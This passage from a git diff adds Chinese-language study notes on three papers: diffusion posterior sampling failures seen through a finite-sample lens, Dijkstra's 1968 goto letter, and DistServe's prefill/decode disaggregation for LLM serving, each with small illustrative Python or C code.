sharp,但轨迹曾经过**无条件边缘 \(p_t(x_t)\) 的低概率区域**,学到的 score 不可靠——换任务可能翻车 + +论文说明:**失败不必来自非线性测量或多模态后验**;**多模态先验 + 中间 spread 算错**就够了。 + +--- + +## 核心概念 + +### 1. 逆问题与后验采样 + +观测模型: + +\[ +y = \mathcal{A}(x_0) + \eta, \quad \eta \sim \mathcal{N}(0, \Sigma_y) +\] + +目标:从 \(p(x_0 \mid y) \propto p_{\text{pr}}(x_0)\, p(y \mid x_0)\) 采样。扩散模型学的是先验的 score;**后验采样**要在去噪过程中注入 **likelihood guidance**。 + +### 2. 为什么中间步必须近似? + +真后验满足 Bayes: + +\[ +p(x_t \mid y) \propto p(x_t)\, p(y \mid x_t) +\] + +但 \(p(y \mid x_t) = \int p(y \mid x_0)\, p(x_0 \mid x_t)\, dx_0\) 一般**没有闭式**。DPS 等用 **Tweedie 均值** \(m_{0|t}(x_t)\) 把 \(p(x_0 \mid x_t)\) **压成 Dirac**,得到 tractable guidance——代价是丢掉**方差/多模态结构**。 + +### 3. 有限样本透镜(FSR) + +把先验换成经验分布: + +\[ +p_N^{\text{pr}}(x) = \frac{1}{N}\sum_{i=1}^{N} \delta(x - x^{(i)}) +\] + +在 VP-SDE 下(\(\bar{\alpha}(t)\) 为噪声 schedule): + +- **边缘** \(p_t^N(x_t)\):对每个训练点 \(x^{(i)}\) 加噪后的高斯混合 +- **去噪** \(p_{0|t}^N(x_0 \mid x_t)\):离散权重 \(w_i(x_t,t)\) 在 \(\{x^{(i)}\}\) 上的组合 +- **似然** \(p_{y|t}^N(y \mid x_t)\):对 \(i\) 混合 \(\mathcal{N}(y; \mathcal{A}(x^{(i)}), \Sigma_y)\) +- **后验** \(p_{t|y}^N(x_t \mid y)\):再乘上 measurement 权重 → **仍是高斯混合,可算、可采** + +\(N \to \infty\) 时以 Monte Carlo 率 \(O(N^{-1/2})\) 逼近真后验(固定 \(t>0\));\(t \to 0\) 时需要更大的 \(N\)。 + +### 4. 被诊断的近似族 + +| 方法族 | 代表 | 对 \(p(x_0 \mid x_t)\) 的近似 | 特点 | +|--------|------|------------------------------|------| +| Dirac | **σ-DPS**, **ζ-DPS** | \(\delta(x_0 - m_{0|t})\) | 最简单;spread 全丢 | +| Gaussian | **ΠGDM**, **TMPD** | 高斯,TMPD 协方差用真 \(C_{0|t}\) | 线性问题更准;仍可能错 spread | + +### 5. 论文归纳的失败模式 + +1. **中间 spread 错误**:σ-DPS 全程方差偏;均值在中间 \(t\) 也可能偏 +2. **模态权重错**:该重的后验模态权重低,不该出现的 prior 模态被采样(**prior 幻觉**) +3. **likelihood 幻觉**:测量一致但先验极不可能的模式 +4. **早停敏感**:spread 错 → 最优 stopping time 依赖任务,无通用默认值 +5. **ζ 调参权衡**:大 \(\zeta\) 加强似然可能减幻觉,也可能**单模态坍缩** + +--- + +## 代码示例 1:有限样本后验权重(玩具 GMM 先验 + 线性测量) + +下面用 NumPy 实现 FSR 在**单个** \(x_t, t\) 上的后验混合权重(1D 示意): + +```python +import numpy as np + +def vp_alpha_bar(t, beta_max=20.0): + """简化的 VP schedule:返回 sqrt(ᾱ(t)) 与 (1-ᾱ(t))。""" + # 连续近似:ᾱ(t) = exp(-0.5 * beta_max * t^2),t ∈ [0,1] + alpha_bar = np.exp(-0.5 * beta_max * t ** 2) + return np.sqrt(alpha_bar), 1.0 - alpha_bar + +def fsr_posterior_weights(x_train, x_t, t, y, A, sigma_y=0.1): + """ + x_train: (N,) 有限样本先验支撑 + x_t: 当前噪声状态(标量) + y: 观测 A @ x0 + noise(标量线性 A) + 返回: 对 x_train 每个点的后验 responsibility(未归一化可再归一化) + """ + sqrt_ab, one_minus_ab = vp_alpha_bar(t) + N = len(x_train) + # p(x_t | x^{(i)}) ∝ N(x_t; sqrt(ᾱ) x^{(i)}, (1-ᾱ)) + log_px_t_given_i = -0.5 * (x_t - sqrt_ab * x_train) ** 2 / one_minus_ab + log_px_t_given_i -= 0.5 * np.log(2 * np.pi * one_minus_ab) + + # p(y | x^{(i)}) ∝ N(y; A * x^{(i)}, sigma_y^2) + pred_y = A * x_train + log_py_given_i = -0.5 * (y - pred_y) ** 2 / sigma_y ** 2 + log_py_given_i -= 0.5 * np.log(2 * np.pi * sigma_y ** 2) + + log_joint = log_px_t_given_i + log_py_given_i + log_joint -= log_joint.max() # 数值稳定 + w = np.exp(log_joint) + w /= w.sum() + return w + +# 双模态先验:两团训练点 +rng = np.random.default_rng(0) +x_train = np.concatenate([ + rng.normal(-2.0, 0.2, 500), + rng.normal(+2.0, 0.2, 500), +]) +A = 1.0 +x0_true = -2.0 +y = A * x0_true + rng.normal(0, 0.1) + +for t in [0.8, 0.4, 0.1]: + w = fsr_posterior_weights(x_train, x_t=0.0, t=t, y=y, A=A) + left_mass = w[x_train < 0].sum() + print(f"t={t:.1f} P(模态 x<0 | y) ≈ {left_mass:.3f}") +``` + +**读输出**:在 \(t=0.8\) 测量已把权重推向 \(x<0\) 模态;若某 DPS 近似在中间 \(t\) spread 过窄,轨迹可能提前锁死在错误模态或漏掉正确模态——FSR 的 `w` 就是对照 ground truth。 + +--- + +## 代码示例 2:Dirac(DPS 式)vs 完整 FSR spread + +第二个例子比较 **Dirac 近似均值** 与 **FSR 真后验均值/方差**: + +```python +def fsr_mean_var(x_train, w): + mu = (w * x_train).sum() + var = (w * (x_train - mu) ** 2).sum() + return mu, var + +def dirac_dps_mean(x_train, x_t, t): + """σ-DPS 思路:p(x0|xt) ≈ δ(m_{0|t}),m_{0|t} 为 Tweedie 均值。""" + sqrt_ab, one_minus_ab = vp_alpha_bar(t) + # 权重仅来自 p(x_t | x^{(i)}),无 y + log_w = -0.5 * (x_t - sqrt_ab * x_train) ** 2 / one_minus_ab + log_w -= log_w.max() + w_prior = np.exp(log_w) + w_prior /= w_prior.sum() + return (w_prior * x_train).sum() + +t = 0.5 +x_t = 0.5 +w_post = fsr_posterior_weights(x_train, x_t, t, y, A) +mu_fsr, var_fsr = fsr_mean_var(x_train, w_post) +mu_dirac = dirac_dps_mean(x_train, x_t, t) + +print(f"FSR E[x0|xt,y] = {mu_fsr:.3f}, Var = {var_fsr:.4f}") +print(f"Dirac m_{0|t} = {mu_dirac:.3f} (不含 y 的 Tweedie 均值)") +print(f"真 x0 = {x0_true}, 观测 y = {y:.3f}") +``` + +**要点**: + +- Dirac 用的 \(m_{0|t}\) **不看 \(y\)**;DPS 的 guidance 另加梯度项,但 spread 仍像 Dirac 一样缺失 +- FSR 的 `var_fsr` 告诉你**此刻**后验还有多宽——σ-DPS 若 implicit 方差更小,就会 **under-spread** → 模态权重失真 + +--- + +## 实验与诊断工作流(论文做法) + +1. **选先验**:离散 / 高斯 / GMM 等可解析对照 +2. **建 FSR**:从 \(N\) 个 i.i.d. 样本构造 \(p_N^{\text{pr}}\) +3. **固定 \(t\)**:算 \(p_{t|y}^N\) 与 moment(均值、协方差、模态 mass) +4. **跑 σ-DPS / ζ-DPS / TMPD**:在同一 \((y, t)\) 记录近似 posterior 的 moment +5. **对比 gap**:spread 低估 → 查 prior 幻觉;spread 高估 → 查 likelihood 幻觉与早停 + +论文报告:FSR 在**中等较大 \(t\)** 精度高;\(t \to 0\) 需增大 \(N\)。σ-DPS 常在中间步均值、方差都偏;ζ 调参只能部分缓解,无法消除所有幻觉类型。 + +--- + +## 与其他工作的关系 + +| 方向 | 代表 | 与本文关系 | +|------|------|------------| +| DPS 原论文 | Chung et al., 2023 | 被诊断的 Dirac 近似来源 | +| Feynman-Kac 偏差分析 | arXiv:2605.06538 | 从 PDE/路径期望解释 DPS 偏差;本文从**有限样本可算后验**给工程诊断 | +| FPS / 粒子滤波 | Dou & Song, ICLR 2024 | 渐近正确但贵;FSR 是**解析** surrogate 而非采样算法 | +| 计算不可 tractability | ICML 2024 等 | 说明精确后验采样难;本文在**可算 toy / FSR** 上隔离近似误差 | + +--- + +## 局限与后续 + +- **\(N\) 与 \(t\)**:越接近 \(t=0\),准确评估所需样本数越大 +- **学出来的先验**:FSR 用经验点集;真实扩散 prior 是神经网络 score,诊断需用训练集或 coreset 近似 +- **未覆盖**:prior 学习误差、极低 \(p_t(x_t)\) 区域的 score 质量 + +--- + +## 给实践者的三条建议 + +1. **不要只看最终图**:对关键 \(t\) 用 FSR(或小型验证集)检查 posterior spread 是否合理 +2. **多模态先验要格外小心**:即使测量线性、后验单模态,**先验多峰 + Dirac** 仍可能 hallucinate +3. **把 FSR 当单元测试**:新 guidance 公式上线前,在 GMM/离散先验上对比 moment,比只盯 PSNR 更可靠 + +--- + +## 小结 + +| 问题 | 答案 | +|------|------| +| **When** 失败? | 中间 timestep 的 likelihood/denoiser 近似导致 spread 错时 | +| **Why**? | Dirac/Gaussian 矩匹配丢失多模态与方差 → 模态权重与轨迹偏 | +| **How**? | 用 **Finite-Sample Lens** 构造可解析后验,对比 moment 与样本 | +| **意外结论** | 非线性 \(\mathcal{A}\)、多模态后验**不是必要条件**;多模态先验即可 | + +--- + +## 延伸阅读 + +- [DPS 原论文](https://arxiv.org/abs/2209.14687) — Diffusion Posterior Sampling for General Noisy Inverse Problems +- [ΠGDM / TMPD 等矩匹配方法](https://arxiv.org/abs/2305.08995) — 高斯近似族 +- [Feynman-Kac 偏差分析](https://arxiv.org/abs/2605.06538) — 路径级解释 DPS 偏差的互补视角 +- [[paged-attention-vllm]] — 推理系统侧优化;与「采样是否正确」正交但同属生成栈 diff --git a/src/content/docs/papers/dijkstra-goto-1968.md b/src/content/docs/papers/dijkstra-goto-1968.md new file mode 100644 index 000000000..6aa8edb66 --- /dev/null +++ b/src/content/docs/papers/dijkstra-goto-1968.md @@ -0,0 +1,239 @@ +--- +title: Go To Statement Considered Harmful — Dijkstra 1968 结构化编程宣言 +来源: https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf +日期: 2026-06-13 +分类: 编程语言 +子分类: 类型与 PL 理论 +难度: 入门 +provenance: pipeline-v3 +--- + +## 是什么 + +1968 年 3 月,荷兰计算机科学家 **Edsger W. Dijkstra** 在 *Communications of the ACM* 上发表了一封只有两页的「读者来信」,标题是 **Go To Statement Considered Harmful**(`goto` 语句是有害的)。全文没有一行代码,却改变了此后半个世纪程序员写程序的方式。 + +论文的核心主张很直白:**`goto` 应该从所有「高级」编程语言中废除**(机器码除外)。Dijkstra 观察到,程序员产出的代码质量,与程序里 `goto` 的密度呈负相关——`goto` 越多,程序越难理解、越难推理、越难证明正确。 + +日常类比:想象你在读一本小说。正常写法是「第一章 → 第二章 → 第三章」,偶尔出现「如果下雨就跳第五章」这种分支,或者「回到第三章开头再读一遍」这种循环——你始终知道自己在书的哪一页。`goto` 则像书里随机写着「现在翻到第 217 页第 3 段」——你当然还能读下去,但**再也说不清「故事进行到哪一步」**,变量人物关系、伏笔含义都会在这一跳里变得暧昧不清。 + +这篇短文常被视作 **结构化编程(Structured Programming)** 运动的公开起点。它本身不发明 `if`/`while`/`for`,而是解释为什么这些结构比裸 `goto` 更适合人类大脑。 + +## 历史背景 + +| 时间 | 事件 | +|------|------| +| 1966 | Bohm & Jacopini 证明:任意流程图都可改写为只用**顺序、选择、迭代**三种结构 | +| 1968-03 | Dijkstra 发表本文(原稿标题是 *A Case against the GO TO Statement*,编辑 Niklaus Wirth 改成了现在更刺眼的标题) | +| 1970s | Pascal、C 等语言保留 `goto` 但主流教材开始强调结构化写法 | +| 1980s+ | Java 等语言直接取消 `goto`;C# 保留 `goto` 但视为代码异味 | + +Dijkstra 后来抱怨:IBM 偷走了「结构化编程」这个词,有人把它**简化成「禁止 goto」**——那只是冰山一角。他真正关心的是:**我们能否用有限的、可推理的程序结构,构造足够表达力的软件,并在此基础上证明正确性。** + +## 为什么重要 + +不理解这篇两页纸,下面这些事都没法放在同一张图上: + +- 为什么现代语言把 `if`/`else`、`while`、`for` 当作一等公民,却把 `goto` 藏进角落或干脆删掉 +- 为什么代码审查里「满屏跳转标签」会被一眼打回 +- 为什么「能读懂代码」和「能证明代码没错」在 Dijkstra 眼里是同一件事的两面 +- 为什么后来出现 **「X considered harmful」** 模板文章(从 `unsigned` 到 `cookies` 都有人写过) + +更重要的是论文里那个少被引用、但技术上最锋利的论点:**程序执行到某一刻时,变量值的含义依赖于「执行进度」;而 `goto` 会破坏你用「进度坐标」理解程序的能力。** + +## 核心概念 + +### 1. 执行进度的「坐标系」 + +Dijkstra 问:怎样描述一个正在运行的程序「进行到哪了」? + +在没有 `goto`、只有顺序语句时,一个**文本索引**(textual index)就够了——就是「当前执行到源文件的第几行」。 + +加入 **过程调用(procedure)** 后,一个索引不够:你得记录「正在执行哪个过程的哪一行」,以及「这是第几层嵌套调用」——变成一串文本索引,长度等于动态调用深度。 + +加入 **循环(repetition)** 后,还要加 **动态索引(dynamic index)**:第几次进入这个 `while`?嵌套循环时,索引序列混合「文本位置 + 第几轮循环」。 + +关键性质:**这些索引的值不由程序员随手指定,而是由程序文本和执行过程自动生成。** 它们是描述进度的**独立坐标**。 + +### 2. 变量含义依赖于进度 + +论文最著名的例子(意译): + +> 你要统计房间里的人数 `n`。每当看到有人进门,就把 `n` 加 1。 +> 在「已经看到有人进门」和「还没执行 `n++`」之间的那一瞬间, +> **`n` 的值等于房间里实际人数减 1。** + +这不是 bug,而是**进度与变量之间的约定**。你能说清「此刻执行到哪一步」,才能说清「此刻 `n` 代表什么」。 + +`goto` 的问题在于:它允许控制流任意跳跃,使得**很难找到一组简单、稳定的坐标**来刻画进度。有人试图用「某些关键变量的值」当坐标,但 Dijkstra 指出——**变量值的语义本身就要靠进度来解释**,这形成循环依赖。 + +唯一总能用的坐标是「从程序启动以来执行了多少条语句」——像一台归一化时钟。它唯一,但**毫无帮助**:在这个坐标系里,表达「`n` 等于房间人数减 1」这类陈述会变得极其笨重。 + +### 3. `goto` 是「太原始的邀请」 + +Dijkstra 的原话精神:`goto` **本身太 primitive**,它太像一张邀请函,邀请你把程序写成一团乱麻。`if`、`while`、`repeat`、`case`、过程调用等结构,是在**给跳转套上缰绳**——不是消灭控制流,而是让控制流可被抽象、可被归纳证明。 + +这与 Bohm-Jacopini 的结构定理一致:表达能力上不必然需要 `goto`;需要的是**可管理的控制流纪律**。 + +### 4. 与正确性证明的关系 + +Dijkstra 在同一时期的笔记(EWD 系列)里把观点说得更满:证明程序正确,不能靠穷举所有输入(组合爆炸);必须依赖**程序结构**(数学归纳法适配循环、抽象适配过程)。`goto` 让「从静态文本推断动态行为」变难,直接损害这条路线。 + +## 实践案例 + +### 案例 1:面条代码 vs 结构化改写 + +下面是一段带有 `goto` 的伪 C 代码,实现「读入正数并求和,遇到非正数则结束」: + +```c +/* 风格 A:goto + 标签 — 能跑,但进度模糊 */ +int sum = 0, x; +start: + x = read(); + if (x <= 0) goto done; + sum += x; + goto start; +done: + print(sum); +``` + +等价的结构化写法: + +```c +/* 风格 B:while — 进度坐标清晰:在循环第几轮一目了然 */ +int sum = 0, x; +while (1) { + x = read(); + if (x <= 0) break; + sum += x; +} +print(sum); +``` + +两种写法机器层面可能生成类似的跳转指令,但人类读者在风格 B 里自带坐标:**「我们在 `while` 的某一轮」**。审查者可以说:「循环不变式:`sum` 是已读正数的和」——这对证明与维护至关重要。 + +### 案例 2:用 `goto` 实现状态机 — 为何后来改用 `switch` + +早期网络协议常手写状态机。`goto` 版: + +```c +enum { WAIT_HDR, READ_BODY, DONE } state = WAIT_HDR; + +dispatch: + if (state == WAIT_HDR) { + if (!read_header()) goto error; + state = READ_BODY; + goto dispatch; + } else if (state == READ_BODY) { + if (!read_body()) goto error; + state = DONE; + goto dispatch; + } + return OK; +error: + return FAIL; +``` + +结构化改写(表驱动或 `switch`): + +```c +while (state != DONE) { + switch (state) { + case WAIT_HDR: + if (!read_header()) return FAIL; + state = READ_BODY; + break; + case READ_BODY: + if (!read_body()) return FAIL; + state = DONE; + break; + default: + return FAIL; + } +} +return OK; +``` + +`switch` 并没有魔法,但它把「下一状态」绑在**可枚举的局部结构**上,读者不必在标签海洋里找「从 `error` 能跳到哪儿」。 + +### 案例 3:Linux 内核里仍存在的 `goto` — 何时算「有纪律的使用」 + +Linux 内核风格指南允许 **`goto` 仅用于统一的错误清理路径**(常见于 C 资源申请): + +```c +int setup(void) { + if (alloc_a() < 0) return -ENOMEM; + if (alloc_b() < 0) goto err_a; + if (alloc_c() < 0) goto err_b; + return 0; +err_b: + free_b(); +err_a: + free_a(); + return -ENOMEM; +} +``` + +这不是反驳 Dijkstra,而是 **C 语言缺少 defer/RAII 的折中**:所有 `goto` 目标向下、单向、用于清理,不形成 arbitrary 循环。社区共识是:**这是受控的例外,不是鼓励面条代码。** + +## 结构化程序的三种基本结构 + +Bohm & Jacopini (1966) 与 Dijkstra 共同支撑的图片可以记成: + +``` +顺序 (Sequence) :一条接一条执行 +选择 (Selection) :if / else / case — 二选一或多选一 +迭代 (Iteration) :while / for / repeat — 条件满足则重复 +``` + +现代语言再加 **过程抽象**(函数、模块)处理重复逻辑与命名层次。这五样足以表达可计算性意义上的「所有程序」,同时保留可读的进度坐标。 + +## 踩过的坑 + +1. **「禁止 goto」≠ 结构化编程的全部** + Dijkstra 本人后来吐槽,业界把结构化编程降格成「不用 goto」。数据抽象、不变式、分层设计同样是支柱。 + +2. **机器码里仍有跳转** + 论文说的是**高级语言**应提供更高层结构,让程序员不必亲手编织蜘蛛网。编译器把 `while` lowering 成 `jmp` 完全 OK。 + +3. **少数场景 `goto` 仍有辩护** + 错误处理(C)、跳出多层循环(某些语言用 labeled break 替代)、极致性能手写汇编。关键是:**跳转是否受纪律约束**,而非绝对禁字。 + +4. **标题是编辑改的** + 原稿较温和 (*A case against...*),Wirth 改成 *Considered Harmful* 引爆传播。读正文时别被标题吓到——论证是几何与逻辑性的,不是道德审判。 + +5. **与「函数式没有循环」不是一回事** + 函数式用递归表达迭代,坐标系换成「调用栈深度 + 归纳假设」。争论焦点相同:**人类如何跟踪计算进度。** + +## 适用 vs 不适用 + +| 场景 | 建议 | +|------|------| +| 业务逻辑、库 API、教学示例 | 用 `if`/`while`/`for`/函数,避免 `goto` | +| 需要形式化验证、安全关键系统 | 遵循结构化子集;`goto` 使静态分析变难 | +| C 资源清理、内核错误路径 | 受控 `goto` 可接受,集中单出口清理 | +| 手写汇编、JIT 代码生成 | 底层跳转不可避免,与本文讨论的抽象层不同 | + +## 与今天的关系 + +- **Rust / Go / Java**:无 `goto` 或极少用;错误用 `Result`、`panic`、defer 模式处理。 +- **静态分析 & 编译器优化**:CFG(控制流图)上的 structured region 更易做数据流分析;任意 `goto` 破坏 structuredness。 +- **「代码异味」文化**:Spaghetti code 仍是对 untamed `goto` 的贬称。 + +1968 年的两页纸,本质是在说:**编程不仅是告诉机器做什么,更是让人类(包括六个月后的你自己)能追踪「故事进行到哪一页」。** `goto` 撕掉了页码;`if` 和 `while` 把页码印了回去。 + +## 延伸阅读 + +- Dijkstra, EWD 215 / EWD 268 — 结构化编程更长笔记 +- Bohm, C. & Jacopini, G. (1966) — 顺序/选择/迭代的结构定理 +- Knuth, D. (1974) *Structured Programming with go to Statements* — 对「一刀切禁止」的反驳与调和 +- Wirth, N. — Pascal 语言设计,与本文发表于同一时期的 ALGOL 传统 + +## 原文信息 + +| 字段 | 内容 | +|------|------| +| 作者 | Edsger W. Dijkstra | +| 发表 | Communications of the ACM, Vol. 11, No. 3, March 1968, pp. 147–148 | +| 机构 | Technological University, Eindhoven | +| 原文 PDF | [CWI 镜像](https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf) | +| ACM DOI | [10.1145/362929.362947](https://doi.org/10.1145/362929.362947) | diff --git a/src/content/docs/papers/distserve-2024.md b/src/content/docs/papers/distserve-2024.md new file mode 100644 index 000000000..d5d140696 --- /dev/null +++ b/src/content/docs/papers/distserve-2024.md @@ -0,0 +1,347 @@ +--- +title: DistServe — Prefill/Decode 分离与 Goodput 优化 LLM 服务 +来源: https://arxiv.org/abs/2401.09670 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:快餐店的「备餐台」与「出餐口」 + +想象一家连锁快餐店(GPU 集群)同时服务两类顾客: + +1. **Prefill(备餐)**:顾客一次点了一整份套餐(prompt 可能有几百个 token)。后厨要把所有食材**同时下锅**炒好第一盘菜(生成**第一个 token**),并把配方写进账本(**KV cache**)。这一步像**大锅爆炒**——火力要猛、灶台要大,顾客最关心「多久能上第一道菜」(**TTFT,Time-To-First-Token**)。 +2. **Decode(出餐)**:之后每来一位客人要**一勺汤**(每步只生成 1 个 token),厨师从账本翻旧料、加一小撮新料。火力不大,但要**不停翻账本、搬罐子**——吃显存带宽。顾客关心「每勺之间等多久」(**TPOT,Time-Per-Output-Token**),只要比人眼阅读快就行。 + +**传统 vLLM / Orca 式系统**把备餐和出餐**挤在同一口锅、同一批火**里炒(colocate + continuous batching): + +- 一锅大菜没炒完,旁边等一勺汤的人全得干等 → **Decode 的 TPOT 被 Prefill 拖慢**。 +- 为了照顾等汤的人,大菜也不能全力炒 → **Prefill 的 TTFT 被 Decode 拖慢**。 +- 更糟的是:备餐台和出餐口**共用同一套灶台编号和排班表**(资源与并行策略耦合)——给大锅菜配 4 个灶,出餐口也被迫 4 个灶,但出餐其实 1 个灶就够忙。 + +**DistServe 的做法**像把店拆成两个区域: + +- **一楼专门备餐**(Prefill GPU 集群),按 TTFT 目标单独配灶、单独排并行策略。 +- **二楼专门出餐**(Decode GPU 集群),按 TPOT 目标配灶;因为出餐 GPU 常常闲着,可以**多个一楼备餐台对应一个二楼出餐口**(例如 2:1 的 prefill:decode 实例比)。 +- 备餐完成后用**传送带**把账本(KV cache)送到二楼——在现代 NVLink 集群里,这笔搬运费往往**比互相挡锅便宜得多**。 + +一句话:**不是让 GPU「每秒吐更多 token」(吞吐),而是在 TTFT 和 TPOT 两个 SLO 都达标的前提下,让每张 GPU 能接更多单(Goodput)——DistServe 用 PD 分离把这件事做成可优化的系统问题。** + +--- + +## 是什么 + +**DistServe: Disaggregating Prefill and Decoding for Goodput-optimized Large Language Model Serving**(Zhong 等,**OSDI 2024**,arXiv:[2401.09670](https://arxiv.org/abs/2401.09670))提出: + +1. 把 LLM 推理的 **Prefill** 与 **Decode** 拆到**不同 GPU** 上,消除两阶段在同一 batch 里的**相互干扰**。 +2. 针对应用给定的 **TTFT / TPOT** 延迟约束,**分别**为两阶段做 GPU 数量与**模型并行策略**的联合优化,最大化 **per-GPU goodput**。 +3. 根据集群**网络带宽拓扑**,自动放置 prefill 实例与 decode 实例,最小化 KV cache 跨机传输开销。 + +| 项目 | 内容 | +|------|------| +| 会议 | OSDI 2024 | +| 机构 | 北京大学、StepFun、UC San Diego | +| 开源 | [github.com/LLMServe/DistServe](https://github.com/LLMServe/DistServe) | +| 对比基线 | vLLM、Orca 等 colocated 系统 | +| 效果 | 相同 SLO 下可多服务 **7.4×** 请求,或 SLO 收紧 **12.6×**;**>90%** 请求满足延迟约束 | + +--- + +## 为什么重要 + +不理解 DistServe,下面几件事很难讲清楚: + +- 为什么业界从 2024 年起大量出现 **PD 分离**(vLLM disagg、SGLang、Mooncake、Splitwise、Nexus 等)——DistServe 是这条线的**系统奠基论文之一**。 +- 为什么在线服务要同时盯 **TTFT** 和 **TPOT**,而不能只优化「tokens/s」——聊天机器人重 TTFT,文档摘要重 TPOT,**Goodput** 才反映「在 SLO 内每张卡能接多少 rps」。 +- 为什么 **Chunked Prefill** 能缓解但不能根治干扰——chunk 与 decode 混批仍会抢 SM/带宽,且长上下文下 KV 重复加载带来 **O(N²)** 访存开销。 +- 为什么 Prefill 更爱 **张量并行(intra-op)**、Decode 在高负载下更爱 **流水线并行(inter-op)**——两阶段算力形态不同,**耦合部署会迫使你 over-provision**。 + +--- + +## 核心概念 + +### 1. 两阶段推理与双指标延迟 + +```text +用户 prompt (n tokens) + → [Prefill] 并行处理全部 prompt token → 生成第 1 个 output token + 写入 KV cache + → [Decode] 循环:每步 1 token,读全量 KV + 权重 → 直到 EOS + +总延迟 ≈ TTFT + TPOT × (输出 token 数 - 1) +``` + +| 阶段 | 计算特征 | 典型瓶颈 | 用户关心的指标 | +|------|----------|----------|----------------| +| **Prefill** | 一次处理很多 token,大 GEMM | **Compute-bound**(长 prompt) | **TTFT** | +| **Decode** | 每步 1 token,仍要读全量权重+KV | **Memory-bandwidth-bound** | **TPOT** | + +### 2. Goodput vs Throughput + +| 指标 | 含义 | DistServe 优化目标 | +|------|------|-------------------| +| **Throughput** | 全系统每秒生成 token 总数 | 传统 colocated 系统常最大化它 | +| **Goodput** | 在 **SLO 达成率**(如 90%)下,**每张 GPU** 能承受的**最大请求速率** | DistServe 直接优化它 | + +论文 Figure 1 的例子:13B 模型在单张 A100 上,colocated 系统 goodput 约 **1.6 rps**;若 prefill、decode **各用一张独立 GPU**,prefill 可达 **5.6 rps**、decode 可达 **10 rps**。按 **2 张 prefill + 1 张 decode** 配比,整体 goodput 可达 **10 rps(≈3.3 rps/GPU)**,比 colocated **高约 2.1×**——还没算上 DistServe 的并行与放置优化。 + +### 3. Colocated 系统的三大痛点 + +#### 3.1 Prefill–Decode 干扰 + +同一 batch 里混入一个 prefill job,会让整批 decode 的迭代时间**显著变长**(论文 Figure 2:batch 越大、prompt 越长,拖慢越狠)。即便调度上「先 prefill 再 decode」,**排队延迟**仍会让另一阶段违约。 + +**Chunked Prefill + piggyback** 只能折中:chunk 太小则 prefill 吃不满 GPU;chunk 太大则 decode 插不进 batch;且分 chunk 后 KV 要反复从 HBM 加载,长上下文下访存从 **O(N)** 恶化到 **O(N²)**。 + +#### 3.2 资源与并行策略耦合 + +- Prefill:**算力密集**,为压 TTFT 适合 **intra-op 并行**(张量切分,需 NVLink 高带宽)。 +- Decode:batch 小时 GPU 利用率低;负载高时 **inter-op 流水线** 能线性扩吞吐、降排队(M/D/1 队列里执行时间越短,排队项越小)。 + +Colocated 时两阶段**被迫共用**同一套 GPU 数与 TP/PP 配置,往往只能 **over-provision** 才能同时满足 TTFT 和 TPOT。 + +#### 3.3 DistServe 的解:Disaggregation + +```text +Client + → Prefill Instance(s) — 完整模型副本,只跑 prefill + │ 传输 KV cache + 首 token 元数据 + ▼ + → Decode Instance(s) — 完整模型副本,只跑 decode + → stream tokens 回 Client +``` + +- **消除 batch 内干扰**:prefill batch 与 decode batch **物理隔离**。 +- **独立扩缩**:prefill:decode 实例数可非 1:1(decode 常更闲,可多配 prefill 实例)。 +- **独立并行**:例如 prefill 用 2-way TP,decode 用 4-stage PP——在分离架构下才「合法」。 + +### 4. 分阶段优化直觉(论文 §3) + +**Prefill 实例** + +- 存在临界输入长度 \(L_m\):超过后单请求即可**吃满** A100;再堆 batch 只会**等比例拉长**批处理时间。 +- 实际 prompt 常数百 token,prefill batch 一般**保持很小**。 +- 低到达率:intra-op 并行降执行时间 → 降 TTFT;高到达率:inter-op 流水线提高**服务率** → 降排队。 + +**Decode 实例** + +- 单步算力需求小,常**内存带宽受限**;增大 batch 可提高利用率,但会抬高 TPOT。 +- 优化目标是在 TPOT SLO 内尽量**塞满 batch**。 + +**跨阶段通信** + +- 主要传 **KV cache**(和少量元数据)。在现代 GPU 集群(NVLink / 高速 NIC)上,相对节省下来的干扰时间,通信开销**往往可接受**——DistServe 用**放置算法**让高带宽链路承担跨阶段流量。 + +### 5. DistServe 系统流程(论文 §4) + +```mermaid +flowchart TB + SLO[应用给出 TTFT / TPOT / SLO 达成率] + OPT[单副本:联合优化
GPU 数 + 并行策略
最大化 per-GPU goodput] + REP[按流量复制 prefill/decode 实例] + PLACE[带宽感知放置
最小化 KV 传输] + SLO --> OPT --> REP --> PLACE +``` + +给定 SLO 后,DistServe: + +1. 假设**单模型副本**,为 prefill、decode **分别**搜索最优 GPU 分配与张量/流水线并行组合。 +2. 按目标 QPS **水平复制**实例(prefill 与 decode 副本数可不同)。 +3. 根据集群拓扑把实例**映射到机器**,使跨阶段 KV 传输走**高带宽路径**。 + +实现上,DistServe 是叠在现有推理引擎(如 FasterTransformer)之上的**编排层**,不改模型数学。 + +--- + +## 代码示例 + +### 示例 1:用 Python 估算 TTFT / TPOT 与 Goodput 门槛 + +下面用简化模型理解:**Goodput 受 TTFT、TPOT 两个约束中更紧的那个限制**(与论文 Figure 1 思路一致)。 + +```python +from dataclasses import dataclass + +@dataclass +class Slo: + ttft_p90_ms: float # Prefill 延迟上限(毫秒) + tpot_p90_ms: float # 每输出 token 间隔上限(毫秒) + attainment: float = 0.90 # SLO 达成率目标 + +@dataclass +class PhaseProfile: + # 简化:到达率 R 下测得的 P90 延迟(真实系统用 profiling + 排队模型) + max_rps_at_slo: float + +def goodput_per_gpu(prefill: PhaseProfile, decode: PhaseProfile, + prefill_gpus: int, decode_gpus: int) -> float: + """分离部署:整体 rps 受两阶段瓶颈约束,再除以总 GPU 数""" + prefill_capacity = prefill.max_rps_at_slo * prefill_gpus + decode_capacity = decode.max_rps_at_slo * decode_gpus + overall_rps = min(prefill_capacity, decode_capacity) + total_gpus = prefill_gpus + decode_gpus + return overall_rps / total_gpus + +# 论文 Figure 1 量级(13B, A100 80GB, 输入 512 / 输出 64 的合成负载) +prefill_only = PhaseProfile(max_rps_at_slo=5.6) +decode_only = PhaseProfile(max_rps_at_slo=10.0) +colocated = 1.6 # rps / GPU + +pd_ratio_2_1 = goodput_per_gpu(prefill_only, decode_only, 2, 1) +print(f"Colocated goodput/GPU: {colocated:.2f} rps") +print(f"PD 2:1 disagg goodput/GPU: {pd_ratio_2_1:.2f} rps") +print(f"提升倍数: {pd_ratio_2_1 / colocated:.1f}x") +``` + +输出示意:`PD 2:1` 约 **3.3 rps/GPU**,相对 colocated **~2.1×**——尚未计入 DistServe 